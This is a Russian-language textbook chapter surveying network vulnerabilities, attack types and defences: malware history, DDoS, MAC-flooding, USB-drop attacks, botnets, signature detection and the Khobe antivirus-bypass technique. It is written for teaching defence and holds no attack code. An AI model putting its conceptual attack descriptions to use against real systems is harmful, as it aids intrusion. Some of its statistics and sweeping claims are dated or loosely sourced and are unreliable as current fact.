up next index search
   UP: 6.3 Система Firewall
    Next: 6.3.2 Средства противодействия атакам

6.3.1 Обзор уязвимостей, некоторых видов атак и средств защиты

Семенов Ю.А. (ИТЭФ-МФТИ)
Yu. Semenov (ITEP-MIPT)

Эволюция угроз
Вирусы
Черви
Khobe (обход антивирусной защиты)
DoS-атаки
MAC-flooding
USB-флэш атака
Phishing
Подмена субдомена DNS
Сокращения названий субдоменов DNS
Троянский конь
SPAM
Scam
Instant Messaging
Основные уязвимости
Badware
Атака через прокси-серверы
Potentially Unwanted Program (PUP - потенциально нежелательная программа)
Атаки через WEB-серверы
Path Traversal (slash-атаки)
Spyware
Атаки нулевого дня
Adware (Madware) и Grayware
Взломщик паролей
Dialer
Browser Hijackers
Bot-коды
Ransomware, Scareware и Rouge Security (rogueware)
Rootkit
Crimeware
Cross-Site Scripting (CSS)
Взлом WEB-приложений с помощью "отравленных" Cookie
Email bombing
Clickjacking и likejecking
Атаки Salami
XML-бомба
Pharming
BHO
Целевые атаки
Тенденции сетевой безопасности в 2008 году
Vishing
Вредоносные программы, сопряженные с Web
Службы новостей RSS/ATOM
XSS Scripting
SQL Injection (SQLi)
ARP-spoofing
Фальсификация межсайтовых запросов CSRF
Обход фильтра XSS
Экспоненциальные атаки XSS
Использование фальсификации заголовков запросов
Черные ходы в медиа-файлах
Атаки "Drive-by Download"
Человек посередине (Man-In-The-Middle)
SideJacking
Атака Man-In-The-Browser
Обзоры компаний Symantec, McAfee, Sophos, лаб Касперского, Cenzic и др. об угрозах безопасности с 2006 до наших дней
Атаки финансовых объектов
Crapware
Grayware
Скрытые угрозы безопасности
Фальсификация имен файлов
Атаки APT
RFI-атака. Вставление удаленного файла
Несанкционированный доступ в машины, отключенные от Интернет
Полезные ссылки

Помните, вы постоянно являетесь мишенью сетевой атаки. Возможно именно сейчас, когда вы читаете эти строки, кто-то пытается или уже взломал вашу машину...

Введение

В двадцать первом веке движущей силой и главным объектом всех отраслей человеческой деятельности станановится информация, и состояние каналов, сетей и безопасность серверов станут основой экономического развития. По мнению некоторых экспертов информация становится главной международной валютой. К сожалению, сложные сетевые технологии достаточно уязвимы для целенаправленных атак. Причем такие атаки могут производиться удаленно, в том числе и из-за пределов национальных границ. Все это ставит новые проблемы перед разработчиками и строителями информационной инфраструктуры. Некоторые современные формы бизнеса полностью базируются на сетевых технологиях (электронная торговля, IP-телефония, сетевое провайдерство и т.д.) и по этой причине особенно уязвимы. В 2009 году на повестку дня встала проблема унификации методики названия различных видов вредоносных кодов. Потребуется здесь и международное сотрудничество в сфере законодательства и установления барьеров для сетевых террористов. Не исключено, что придется со временем модифицировать с учетом требований безопасности некоторые протоколы и программы. Аргументом в пользу актуальности проблем безопасности может стать карта мира, отображающая число атак сети Межведомственного Суперкомпьютерного центра РАН. Цифры на карте отмечают число атак сети за час из соответствующей страны. Время от времени интенсивность атак возрастает в несколько раз.

58% всех приложений обречены быть “неприемлемыми” с точки зрения сетевой безопасности. Большая часть таких программ написана не профессионалами. При этом практика показала, что программы с открытыми кодами безопаснее, чем самодельные.

Нужно иметь в виду, что в современной машине вредоносные коды могут находиться не только на дисках или в оперативной памяти, на флэшках или CD, но и в чипах управления внешних устройств, в BIOS и т.д..

Следует учитывать, что современные киберпреступники лучше вооружены, лучше подготовлены и организованы

Сетевые угрозы исходят не только от хакеров. Проблемы может вызвать вполне добросовестный сетевой администратор. Например, в окрябре 2009 года весь шведский Интернет (зона .se) на целый час перестал работать из-за опечатки администратора, который редактировал записи DNS-сервера.

Число атак сети МСЦ РАН за один час. На нижней диаграмме показано географическое распределение атак. Самые большие красные квадратики соответствуют более 1000атак/час.

Если в 2005 году было зарегистрировано 333000 новых угроз (вирусы, черви, троянские кони и др.), то в 2009 году число таких угроз из расчета на год составило 16495000. Это означает, что каждый час создается 1883 вредоносных кода! (Работа идет без выходных, отпусков и без скидок на кризисы). (Mike Chapple, "Endpoint Security")

Основным источником сетевых уязвимостей являются дефекты программ и особенности каналов связи:

Отдельный широкий класс образуют мошеннические приемы, использующие социальную инженерию (phishing, Scam и пр.).

Число ЭВМ, подключенных в Интернет, к концу 2005 года превысило 1 миллиард, а к началу 2010-го составило около 2 миллиардов. Число WEB-серверов в 2005 году перевалило за 70 миллионов (а в 2012 превысило 600 миллионов). Сегодня трудно представить себе фирму, организацию или учреждение, где бы для обработки документов, ведения бухгалтерии, учета, обмена сообщениями, доступа к информационным и поисковым серверам и так далее не использовали машин, подключенных к сети. Огромная масса людей не может себе представить жизнь без доступа к сети Интернет, который стал еще одним средством массовой информации. Но преимущества доступа к информации через сеть все чаще омрачается атаками вирусов, червей, троянских коней, spyware и хакеров. Актуальность проблем безопасности подтверждается достаточно обширным списком периодических изданий, посвященных данной проблеме: Network Security, Journal in Computer Virology, Virus Bulletin и многие другие.


Информационная безопасность стала важным фактором успеха любого бизнеса. А издержки на обеспечение сетевой безопасности растут из года в год.

Разнообразие угроз, подстерегающих пользователя, работающего в сети, огромно. Часть из них является платой за использование сложных информационных технологий, уязвимых к внешним воздействиям, другая часть сопряжена с деятельностью людей. Некоторые угрозы носят объективный характер, например, нестабильность или низкое качество питающего напряжения, электромагнитные наводки или близкие грозовые разряды, другие могут быть связаны с невежеством или неаккуратностью самого пользователя (последнее обычно опаснее).

Эволюция угроз

Данные, представленные в таблице ниже, взяты в основном из материала WWW. World Wide Weaponization.

ГодСобытие
1921Карел Чапек написал роман RUR о бунте роботов
1948Джон Фон Нейман опубликовал книгу "Общая и логическая теория автоматов". Обоснование воспроизведения.
1976Джон Бруннер опубликовал фантастический роман "Shockwave Rider" (о компьютерных взломах)
1982Сотрудниками фирмы Ксерокс Джоном Шоком и Ионом Хуппом введен термин "червь"
1984Кохем публикует "A short course on computer viruses" (краткий курс по компьютерным вирусам)
1986Создан первый вирус для области boot (Brain)
1987Зарегистрировано первое семейстиво вирусов Иерусалим
1988Создан мультиплатформенный червь, способный перемещаться по Интернет
1991Зарегистрирован вирус Микельанжело, вызвавший шок в прессе, но имевший малую опасность
1992Создано первое полиморфное семейство вирусов (MtE - Mutation Engine)
1995Первые атаки макровируса W97M документов MS Word
1998Создан первый Java-вирус (Strange Brew)
1999Первые успешные атаки червя VBS/Melissa систем, базирующихся на почтовой системе Outlook
2000Появление вируса VBS/Loveletter - нанесшего наибольший урон. Первое вторжение в ОС Windows (Win32/Qazworm)
2001Детектирование вируса Sega Dreamcast.
Появление вируса, базирующегося на IM (Win32/Goner)
Первая атака червя Red против WEB-серверов
2002Появление вируса, способного заражать Macromedia Flash-файлы (ActnS/LFM.A)
2003Регистрация червя Win32/Sobig
Появление червя Blaster, использующего уязвимости Windows
Регистрация кода Win32/SQLSlammer, использующего уязвимости Mirosoft SQL-сервера
IRCbots (Internet Relay Chat) начал использоваться для управления botnet
2004Первый червь Perl/Sarty - WEB-червь, использующий Google
Первая война malware - Bagle/Netsky.Mydoom
Создание быстро распространяющегося почтового червя (Win32/Mydoom)
Регистрация первого червя для мобильных средств (SymbOS/Cabir)
2005Появление червя Lion, поражающего LINUX-серверы
Массовое распространение червя Win32/Sober
Регистрация троянского коня Win32/TrojanDownloader, маскирующегося под видео кодек
Появление первого кода ransomware (Win32/Cpcode trojan)
Появление Adware, первого фальшивого антивирусного средства с выпадающими иконками предупреждений
2006Зафиксирован червь Win32/VB.NEI (Kamasutra), который разрушает или стирает файлы на третий день месяца
Появился червь W97/TrojanDropper, атакующий файлы MS Word
2007Выявлена botnet "Storm", вовлеченная в рассылку SPAM (Win32/Nuwar)
Созданы программы для удаленного занесения в машины вредоносных кодов
Рост популярности целевых атак, использующих файлы MS Office (PPT,XLS, DOC)
Получил распространение код Win32/Spy.Zbot для кражи банковской информации
2008Появился вирус, заражающий Photo Frame Driver CD
Червь Win32/Conficker поразил миллионы рабочих станций, использующих Microsoft OS
2009Зарегистрирована botnet с числом машин в сети более 1.900.000 с центром управления на Украине

Операторы ботнет, называемые также “bot-фермерами,” используют самые разные методы для построения своих вредоносных сетей. Обычно в число таких инструментов входит: почтовые вирусы, сетевые черви, техника drive-by download, троянские кони. Типичным примером можно считать сеть Koobface, через которую было заражено более 2.9 миллионов машин. Операторы Koobface для распространения вредоносных кодов активно использовали социальные сети Facebook, Twitter и MySpace. Обычная технология включает в себя попытку заинтересовать потенциальную жертву интересной информацией, переадресацию на вредоносных сайт (при этом часто используются методы социалльной инженерии и психологии), после чего клиент может получить предложение обновить Adobe Flash Player или кодек. Если клиент соглашается и кликает на соответствующей ссылке, производилась загрузка вредоносного кода на его машину.

В последние десять лет число идентифицированных уязвимостей увеличивалось в среднем более чем на 50% ежегодно (смотри Eight Question to Ask about Your Intrusion-Security Solution).

DDoS-атаки

Если несколько лет назад атаки на сетевые объекты совершали в основном (около 90%) хулиганы, которые таким образом пытались самоутвердиться, сейчас вторжения на серверы и рабочие станции предпринимаются уже с корыстной целью (см. Лаборатория Касперского). Речь не идет о вторжениях в банки (хотя и это бывает), все много прозаичнее, хакер взламывает большое число машин, выбирая наиболее уязвимые, и формирует базис для распределенных сетевых атак отказа обслуживания (DDoS - Distributed Denial of Service) на сервис-провайдеров или серверы фирм (заказы поступают от конкурентов), или для рассылки СПАМ’а, что стало в нашей стране достаточно прибыльным и относительно безопасным бизнесом. К концу 2009 года предельные потоки DDoS-атак достигли 49 Гбит/c ! Для DDoS атаки сервера WilkiLeaks (www.wikileaks.org и cablegate.wikileaks.org опубликовавшего дипломатическую переписку и другие конфиденциальные данные) использован поток, превосходящий 10Гбит/c. DDoS-атаки стали одним из видов кибероружия. Наиболее известным программным средством для DDoS-атак является LOIC (Low Orbit Ion Cannon).

Мы в ИТЭФ были вынуждены заниматься проблемами сетевой безопасности с 1995 года, когда несколько раз подверглись DoS-атакам. Сначала мы даже не знали, что происходит. Наш маршрутизатор CISCO-4000 был достаточно тихоходен и при потоках более 2000 пакетов в секунду самоблокировался. Не имея специальных средств и навыков, мы на диагностику проблемы в начале тратили более суток. Связано это с тем, что DoS-атаки чаще всего предпринимаются с использование фальсификации адреса отправителя. Две атаки были предприняты с ЭВМ из нашей локальной сети, взломанных ранее. Позднее такие объекты мы научились локализовать за несколько минут. Для этого была написана специальная программа. Алгоритм этой программы доложен на конференции МаБИТ-03, МГУ октябрь 2003 год.

Для организации DDoS-атак обычно используется протокол UDP (хотя это и не является обязательным).

Но описанные атаки были вторичными. Для нас оставалось не ясным, как взламывались ЭВМ-жертвы в нашей локальной сети. Чтобы прояснить эту проблему, мы поставили на входе сети ЭВМ, на которой сначала стояла программа t-meter, а позднее sniffer. Варьируя критерии отбора пакетов, мы смогли выявить IP-адреса машин, с которых производится сканирование адресов и портов ЭВМ нашей сети. В настоящее время число атак из расчета на одну ЭВМ превышает 20-100/сутки. В настоящее время мы анализируем поток атак на Межведомственный Суперкомпьютерный центр РАН. Для этого используется программа SNORT. При этом все данные об атаках автоматически записываются в базу данных, а по всем параметрам атаки строятся распределения (IP-адреса, порты, сигнатуры атак, время и т.д.)


Следует иметь в виду, что DoS-атаки требуют немалых ресурсов, даже если они предпринимаются со взломанных машин (такие машины сегодня также стоят денег). По этой причине, если обычная рабочая станция может подвергнуться любой атаке, имеющей целью ее взлом, то DoS-атаке сегодня подвергаются исключительно значимые бизнес или политические объекты (серверы новостей, финансовые учреждения, сервис-провайдеры, интернет-магазины и т.д.).

Рост можности DoS-атак со временем (2002-2010гг)

В общем потоке атак DoS-атаки занимают до 27%, см. 2014. The Danger Deepens. Neustar Annual DDoS Attacks and Impact Report.

MAC-flooding.

Атака MAC-flooding относится к классу разведовательных атак. Этот вид атаки может использоваться также в качестве DoS-атаки. Атакующая машина забивает переключатель (switch) огромным числом кадров с неверными MAC-адресами отправителя. Переключатели имеют ограниченную память для таблицы переадресации (МАС-порт) и при такой атаке таблица будет заполнена некорректными MAC-адресами, пришедшими от машины-атакера. При поступлении легального трафика из-за отсутствия соответствующих записей в таблице переадресации пакеты будут направляться на все выходы переключателя. В результате атакер, взломавший машину, которая реализует данную атаку, получит большое количество ценной для него информации. Кроме того, это может вызвать перегрузку каналов и самого переключателя.

Схема атаки MAC-flooding

Следует учитывать, что характер атак становится все более изощренным. Хакеры объединяются в клубы, издают журналы и продают хакерские CD. Сегодня крайне актуальным становится кооперирование их потенциальных жертв. Для профессиональных DDoS атак могут использоваться машины, взломанные ранее (зомби). Большие группы таких машин иногда называются армиями.

Обычно наибольшее внимание привлекают атаки из области вне локальной сети (SQL- или XSS-injection). Реально несравненно большую угрозу представляют визиты сотрудников в социальные сети (Facebook, Twitter и т.д.), e-mail phishing или drive-by download (так называетмые приглашенные атаки), а также атаки инсайдеров (сетевые объекты, работающие в области, защищенной сетевым экраном). В случае посещения вредоносного сайта киберпреступники могут просканировать машину жертвы на предмет наличия известных уязвимостей. Под инсайдером подразумеваются не только сотрудники, работающие в локальной сети, но также скомпрометированные машины LAN (например, посредством USB-флэшей или любых других переносимых носителей или laptop'ов). Классическим примером инсайдерской атаки является утечка данных госдепартаметна США, опубликованных на сервере WikiLeaks.

USB-флэш атака

По данным департамента обороны США возможны достаточно забавные атаки. Атакер изготовляет специальные USB-флэши, загружает в них специальное программное обеспечение и разбрасывает такие устройства в местах, где их могут найти сотрудники интересующих его организаций. Найденное устройство будет рано или поздно вставлено в компьютер дома или на службе и станет источником заражения сети, поставляя атакеру ценные сведения. Главная особенность атаки - практически полная безопасность атакера. Ведь даже если жертва отследит адрес, куда отсылаются данные, можно всегда утверждать, что организатора подставили, а доказать обратное будет проблематично.

Ниже представлена диаграмма классификации угроз по степени их опасности. Смотри Unveiling the Security Illusion: the need for active network forensics. 95% посылаемых на WEB-сайты постов являются спамом или содержат вредоносные коды. 71% зараженных сайтов являются совершенно легальными (их создали не для заражения посетителей вредоносными кодами, данные конца 2009 года). 58% всех краж данных осуществляется через WEB-серверы.

Классификация различных угроз по их степени опасности

Впрочем, самыми опасными остаются неизвестные атаки неизвестного типа - атаки нулевого дня.

Эволюция вредоносности атак со временем

На рисунке выше видно, что все началось с сетевого хулиганства, стимулом которого было самоутверждение, (до 2004г это в основном вирусы и сетевые черви), а к 2010 году все вышло на высокий профессиональный уровень, где двигателем является алчность или политика, (APT, динамические, многофункциональные троянские кони и botnet c элементами стэлз).

Самое ужасное, потенциально опасные программные продукты стали разрабатывать вполне добропорядочные компании. Они это делают для реализации виртуальной рекламы своих продуктов, для получения данных о своих клиентах (их предпочтениях). Становится все труднее обнаружить отличие между чисто хакерскими творениями и такими встроенными объектами в совершенно нормальные программные приложения. Существует и российская фирма, специализирующаяся на разработке хакерских программ. РФ наверное единственная страна, где бизнесмены могут легально вести такой бизнес.

Некоторые компании стали разрабатывать вредоносные программы на продажу, например, Mpack. Компания DTC (Dream Coders Team) продает этот продукт по цене до 1000$. При этом предлагается даже послепродажное обслуживание и обновление арсенала атак. Они утверждают, что это исследовательская программа, что-то вроде Nessus. В крайнем случае они оправдываются тем, что торгуют же люди оружием...

Согласно данным на начало 2007 года, если машина, подключенная к Интернет, остается незащищенной в течение 30 минут, с 50% вероятностью она окажется взломанной (станет зомби). В настоящее время по данным института SANS в мире существует около 3-3,5 миллионов таких зомби (и их число стремительно растет). Спрос на такие машины достаточно велик (для рассылки SPAM), цена 20000 машин зомби колеблется от 2 до 3 тысяч долларов США (и имеет тенденцию к падению из-за массовости производства). Машины делятся на группы примерно 20 ЭВМ в каждой и эти группы активируются поочередно. Каждая машина посылает по 630 сообщений в час. Именно это обстоятельство может свидетельствовать о том, что машина является зомби, ведь вряд ли кто-то способен подготовить и послать столько сообщения за час. По данным ФБР (США) ежегодний ущерб от киберпреступлений превышает 67 миллиардов долларов.


Почтовый протокол SMTP содержит в себе достаточно богатые возможности для хакеров. Прежде всего это касается приложений, написанных на WinWord или Exel. Дело в том, что просматривая такой документ вы видите лишь малую часть кодов в нем содержащихся. Сравните число символов текстового файла с образом того же файла в WinWord. Но это еще не все. В WinWord имеется возможность использования скриптов, написанных на Visual Basic (VB), которые могут использоваться для форматирования текста и для других самых разных целей. Но язык VB достаточно мощное средство, спрособное общаться через сеть с другими объектами. Но, просматривая приложение, написанное на WinWord, вы не будете даже предупреждены, что при этом на вашей машине исполняется какая-то программа. Про последствия я уже не говорю...

В мае 2006 года 21-летний Джинсон Джеймс Анчета (Ancheta) из пригорода Лос Анжелеса был приговорен к 57 месяцам тюрьмы и штрафу в 15000$ за создание сети машин-зомби с суммарным числом машин 400000. Некоторые взломанные им машины принадлежали центру вооружений моской авиации США в Калифорнии. Анчета занимался продажей взломанных машин, рекламируя свой "товар" через Internet Relay Channel.

Мало зарегистрировать атаку, надо определить и корректно интерпретировать IP-адрес, откуда эта атака исходит. Чаще всего, имея IP-адрес, достаточно легко отследить путь атаки, например посредством Trace Route. Полезным может оказаться утилита NSLookup, а также служба Whois, которая позволяет определить сервис-провайдера атакера и его географическое положение. Существуют и специальные утилиты (базы данных), позволяющие с достаточной точностью определить географическое положение машины по ее IP-адресу (например, GeoIP). Но хакеры знают о таких возможностях и часто используют анонимные прокси-серверы, чтобы скрыть свой IP-адрес. Такие серверы могут создаваться на взломанных ранее машинах-зомби. Только легкомысленный хакер станет атаковать какой-либо сетевой объект со своей машины, при любой возможности он будет атаковать с машины-зомби, доступ к которой можно купить.


Новые возможности может дать абсолютное географическое позиционирование всех машин (GPS). Уже в 2008 году в США дорогостоящие покупки стало возможно сделать только с машин с географической привязкой. Это стимулируется также случаями потери или кражи портативных машин, где хранилась ценная конфиденциальная информация. Если IP- или МАС-адрес можно фальсифицировать, то систему GPS не обманешь. Впрочем здесь предстоит еще решить проблемы связи IP-адреса и географического положения.

Но существует класс атак с фальсификацией адреса отправителя, когда задачу определения IP-птпкера решить затруднительно. Эта техника используется большинством атак отказа обслуживания (DoS), а также некоторыми другими (смотри RFC-2827 или http://book.itep.ru/6/rfc2827.htm).

Многие атакеры используют социальную инженерию и психологию, чтобы спровоцировать потенциальную жертву к действиям, которые нанесут ущерб. Например, год назад в ИТЭФ пришли письма, которые, если верить заголовку были посланы сетевым администратором. Приложение к письму было заархивировано, но для дезархивации требовался ключ, который содержался в тексте письма. В самом письме говорилось, что приложение, содержит инструкцию по улучшению безопасности. Почтовый сервер ИТЭФ имеет антивирусную защиту. Но зашифрованность приложения препятствовала распознаванию сигнатуры вируса. Хотя здравый смысл подсказывает, что сетевому администратору не нужно шифровать сообщение, адресованное клиентам сети, среди пользователей нашлось около десятка простаков, которые попались на эту удочку.

Потенциальную угрозу безопасности могут представлять специальные вставки во встроенное программное обеспечение процессора, BIOS, аппаратную память микросхем-драйверов внешних устройств, операционной системы и приложений. Аналогичные угрозы представляют любые программы с неизвестными исходными кодами, включая обеспечение маршрутизаторов. Считывать данные можно путем регистрации электромагнитного излучения дисплея и других устройств ЭВМ, и даже анализируя звук при нажатии терминальных клавиш. Этим список способов несанкционированного доступа не исчерпывается. Но эти угрозы здесь не будут рассматриваться.


Предпочтение следует оказывать программам с открытым кодом или коммерческим программам, где продавец документально гарантирует безопасность.

Число зарегистрированных сетевых вторжений в 2004 году превысило 200000. За 2004-ый год зарегистрировано 523×109 сетевых инцидентов (мониторинг 450 сетей в 35 странах, см. http://www.acmqueue.com/modules.php). За период с 2001 по 2003 годы число зарегистрированных компьютерных преступлений в России удваивалось каждый год. Считается, что 80% компьютерных преступлений не попадает в официальную статистику, так как жертвы боятся огласки, которая может подорвать к ним доверие партнеров и клиентов. В этом убедился Citibank в 1995 году после успешной атаки российского хакера, когда последствия публикации факта атаки принесли больший вред, чем сама атака. Но в последнее время, в частности в США (Калифорния), закон требует немедленного обнародования факта кражи персональной информации.

Если имеется несколько ЭВМ, объединенных в систему, и к этой системе имеет доступ определенное число удаленных клиентов, то наиболее уязвимыми являются соединения клиентов с этой системой. Хакеры стараются атаковать самое слабое звено в системе. Особенно уязвимы пользовательские, домашние ЭВМ. Зная это, некоторые банки предлагают своим клиентам удешевленные или даже бесплатные средства защиты (например, антивирусные программы). Некоторые корпорации и сервис-провайдеры предоставляют своим клиентам антивирусные программы и firewall.

Следует, впрочем, иметь в виду, что только 40% вредоносных кодов может быть детектировано современными антивирусными программами (данные на начало 2010 года; Yankee Group).

Принципы сигнатурного анализа сформировались в серидине 90-х годов прошлого века. Число сигнатур атак превысило 3000 к 2005 году и их многообразие продолжало лавинообразно увеличиваться, достигнув в 2009 году двадцати миллионного масштаба. Каждый месяц фиксируется порядка 5000 новых сигнатур (2009). Имеет место динамический прогресс системы щит-меч. С учетом полиморфизма проблемы перед разработчиками антивирусных и других аналогичных программ становятся все более сложными. Многие администраторы и хозяева сетей полагают, что до сих пор все обходилось, Бог даст, обойдется и впредь. Ведь у них на серверах нет соблазнительной информации, а фирма является небольшой, чтобы стать мишенью атаки. Такая позиция рано или поздно приведет к серьезным потерям. Это касается не только компаний, имеющим конкурентов (о них позаботятся непременно), или структур, имеющих на серверах конфиденциальную информацию (например, государственные учреждения), но и сетей, которые на первый взгляд не должны быть привлекательными для хакеров. Мы за счет большого числа машин в сети убеждались в этом уже не раз. Однажды были стерты несколько сот файлов общедоступного сервера http://book.itep.ru. Казалось бы какой в этом смысл? К счастью и меня была свежая резервная копия... Самое удивительное сервер продолжают атаковать, иногда по несколько тысяч раз в час (это уже на грани DoS-атаки). Хотя ничего привлекательного на сервере нет и вся информация является общедоступной.


Рост числа сигнатур атак является фактором, работающим на стороне атакеров. Ведь все больше машинных ресурсов нужно на проверку. Этому способствует и усложнение новых сигнатур. Пока быстродействие машин росло достаточно быстро, это было не заметно. Но при выходе на скорости работы каналов передачи данных 10-100Гбит/с проблема стала весьма острой.

Прерывать работы по совершенствованию систем сетевой защиты нельзя. Рассчитывать на получение бесплатных разработок из Интернет наивно. Каждая вторая такая программа сама содержит в себе spyware! Поставщик антивирусной программы (особенно бесплатной версии) может быть сам разработчиком вируса или spyware.

Ниже рассмотрены некоторые наиболее опасные виды сетевых атак. Этот обзор не следует считать исчерпывающим, так как полный перечень занял бы целый том. Некоторые классы атак, например, использующие переполнение буфера или переполнение стека (а также heap overflow), являются составной частью многих видов вредоносных атак. Атаки переполнения имеют в свою очередь много разновидностей. Одна из наиболее опасных предполагает ввод в диалоговое окно помимо текста присоединенного к нему исполняемого кода. Такой ввод может привести к записи этого кода поверх исполняемой программы, что рано или поздно вызовет его исполнение. Последствия не трудно себе представить.

Вирусы - вредоносные программы, способные к самокопированию. Передача от зараженной машины к незараженной может осуществляться с помощью приложения к почтовому сообщению. Способностью к саморассылке обладают сетевые черви, первым сетевым червем был Morris Worm, ориентированный на UNIX BSD. Первые вирусы (например, макровирус Melissa (1999г), распространялись через e-mail с привлечение адресной базы данных почтового сервиса, они получили распространение задолго до широкого внедрения Интернет. В начале они распространялись через дискеты, куда попадали вместе с копируемыми играми и программами. Позднее они стали распространяться с помощью макросов, присоединенных к документам WORD. Большинство вирусов содержат в себе:

Многие вредоносные коды, например, троянский конь с удаленным доступом (remote access Trojan) используют маскировку под программы, работающие с внешними устройствами. Так они могут оставаться неактивными, например, пока не используется мышка (см. статью Anthony M. Freed "Remote access Trojan evades detection using mouse functions"). Для решения своих задач хакеры могут использовать специальные трюки "ожидания", заимствованные из документации "Microsoft's MSDN" . Так для активации кода могут использоваться, например:

Существует три класса вирусов: заражающие файлы, систему или загрузочную зону системного диска и макро вирусы. Как вирусы так и черви могут распространяться посредством электронной почты (в этом варианте они синонемичны). В последнее время хакеры научились встраивать червей в графические файлы. Примером вирусной атаки может быть сайт форума "Высокие технологии 21-го века" (смотри скриншот ниже). Те кто посетил сайт и не имел адекватной защиты, получил копию этой заразы на свой компьютер. Но вряд ли можно утверждать, что это не технология 21-го века :-) Этот пример лишний раз свидетельствует, что наличие антивирусной защиты необходимо на каждом компьютере.

Известно, что многие вирусы и черви содержат в себе секции виртуально неизменных кодов. При заражении сети обычно появляется большое число идентичных пакетов. Кроме того, при этом в сети можно обнаружить большие пакеты, направленные внутрь или за пределы сети. Эти особенности могут быть использованы при детектировании вирусов или червей с неизвестной сигнатурой. Именно эти признаки были использованы системой ASE (Automatic Signature Extraction), разработанной компанией CISCO для своих маршрутизаторов, для детектирования вирусов и червей "нулевого дня". Соответствующие фрагменты кода были включены в IOS маршрутизаторов (версии IOS 12.4(15)T или выше).

C первого квартала 2005 года число WEB-базирующихся вредоносных кодов выросло на 540% (Gartner Inc). из обследованных 450000 сайтов по крайней мере 10% используются для загрузки вредоносных кодов посетителям. В последнее время резко возрос интерес к программам обеспечения WEB-безопасности.

Уведомление о вирусном заражении сайта www.vt21.ru

С момента создания до момента обнаружения вируса проходят часы, дни, недели, а иногда и месяцы (в среднем около года). Это зависит от того, насколько быстро проявляются последствия заражения. Чем это время больше, тем большее число ЭВМ оказывается заражено. После выявления факта заражения и распространения новой разновидности вируса требуется от пары часов (например, для Email_Worm.Win32.Bagle.bj) до трех недель (W32.Netsky.N@mm) на выявление сигнатуры, создания противоядия и включения его сигнатуры в базу данных противовирусной программы. Временная диаграмма жизненного цикла вируса представлена на рис. 1A (" Network Security", v.2005, Issue 6, June 2005, p 16-18). Только за 2004 год зарегистрировано 10000 новых сигнатур вирусов. Червь Blaster заразил 90% машин за 10 минут. За это время антивирусная группа должна обнаружить объект, квалифицировать и разработать средство противодействия. Понятно, что это нереально. Так что антивирусная программа является не столько средством противодействия, сколько успокоительным. Эти же соображения справедливы и для всех других видов атак. Когда сигнатура атаки становится известной, сама атака обычно не опасна, так как уже выработаны средства противодействия и уязвимость перекрыта. Под сигнатурой здесь подразумевается некоторый характерный двоичный образ фрагмента кода. Именно по этой причине такое внимание уделяется системе управления программными обновлениями (пэтчами).

Под сигнатурой здесь подразумевается последовательность бит (в памяти или на жестком диске), которая характеризует вредоносный код. Распознаванию сигнатуры может препятствовать полиморфизм такого кода, т.е. вариабильность кода, сохраняющая его функциональность. Известно, что некоторые современные разновидности Malware (malicious software) перекомпилируют себя каждые 5 минут, внося в текст неисполняемые команды (NOP) и, таким образом, варьируя свою сигнатуру. Большинство антивирусных средств используют эвристические подходы, помогающие распознать вредоносный код, несмотря на его вариации. Одним из таких подходов является анализ действий (операций, поведения программы), выполняемых программой (например, модификация содержимого какого-то критического файла), а не ее сигнатуры.

Черви имеют обычно более сложную структуру и включают в себя следующие секции:

Некоторые вирусы и черви имеют встроенные SMTP-программы, предназначенные для их рассылки и люки для беспрепятственного проникновения в зараженную машину. Новейшие версии снабжены средствами подавления активности других вирусов или червей. Таким образом могут создаваться целые сети зараженных машин (BotNet = robot Network), готовых по команде начать, например DDoS-атаку.


Существует две схемы управления botnet: централизованная и децентрализованная (peer-to-peer). Разумеется, возможно и комбинирование этих двух технологий. Для управления botnet используются протоколы IRC и HTTP. В botnet обычно имеется один или несколько серверов, которые ретранслируют машинам-зомби инструкции от хакера. Боты взаимодействуют с центром в среднем раз в два часа.

Сеть botnet, созданная с помощью кода Conficker в 2009 году, содержала около 6 миллионов машин. Всего зарегистрировано 5 версий этого сетевого червя. В начале декабря 2009 году было детектировано около 400000 IP-адресов, зараженных этим вредоносным кодом.

Для управления машинами-зомби может использоваться протокол IRC (Internet Relay Chart), эта схема относится к централизованному типу. Cистема рассылки сообщений IRC поддерживается большим числом серверов и по этой причине этот канал обычно трудно отследить и запротоколировать. Этому способствует также то, что большинство систем более тщательно контролируют входной трафик, а не выходной. IRC-управление к началу 2010 года стало неэффективным (время жизни не более суток). Но и принципы управление типа peer-to-peer нейтрализуются достаточно быстро. Для управления botnet в последнее время стали применяться социальные сети. Следует иметь в виду, что зараженная машина может служить помимо DoS-атак, для сканирования других ЭВМ и рассылки SPAM, для хранения нелегальных программных продуктов, для управления самой машиной и кражи документов, хранящихся там, для выявления паролей и ключей, используемых хозяином. Для реализации централизованной схемы контроля может быть использован также протокол HTTP. Если выявить и заблокировать работу центрального сервера botnet, она прекратит свою работу, хотя все машины участницы останутся взломаны. Botnet с децентрализованной схемой управления (P2P) более устойчивы и по этой причине более опасны. Смотри также 10 answers to your questions about botnets. Чтобы представить себе структуру современных сетей botnet, посмотрите на рис. 1.

Рис. 1. Пример структуры связей современных сетей botnet (Blue Coat Security Labs)

Не следует пытаться уничтожить botnet, достаточно сделать создание такой сети слишком дорогим и опасным, т.е. сделать отношение цена/выгода неприемлемым.

К сожалению пока не придумано надежных средств обнаружения новых вирусов (сигнатура которых не известна).

Рис. 1A. Диаграмма жизни вируса при благоприятном сценарии

Следует постоянно помнить, что дополнительные WEB-сервисы (FTP, DNS, доступ к DB и т.д.) создают новые угрозы безопасности. Уязвимости обнаруживаются время от времени в широко используемых программах, например, Internet Explorer, Outlook и Outlook Express. Эти атаки для проникновения в систему используют переполнение буферов.

Khobe (Kernel Hook Bypassing Engine). В 2010 году появилась программа, позволяющая сегодня обойти практически все известные антивирусные защиты для Windows XP и Windows 7. Первое упоминание о такой возможности появилось в 2007 году. Эта программа использует уязвимости в службе таблиц дескрипторов ядра операционной системы (SSDT). Данная техника может быть скомбинирована с атакой на Acrobat Reader или Sun Java Virtual Machine. Принцип ее функционирования заключается в следующем. Сначала посылается абсолютно безвредный код, после того, как его безвредность антивирусной программой установлена, и до начала его исполнения этот код подменяется другим. В условиях, когда в системе параллельно исполняется много процессов, и один процесс, как правило не знает, что творит другой, такую операцию достаточно просто реализовать. Очевидно, что злоумышленник должен иметь возможность исполнять двоичный код на машине-жертве. Хороший повод напомнить - берегись инсайдеров. На рис. 1Б показан пример схемы, при которой инсайдер похищает средства компании.

Рис. 1Б. Упрощенная схема краж, осуществляемых инсайдером

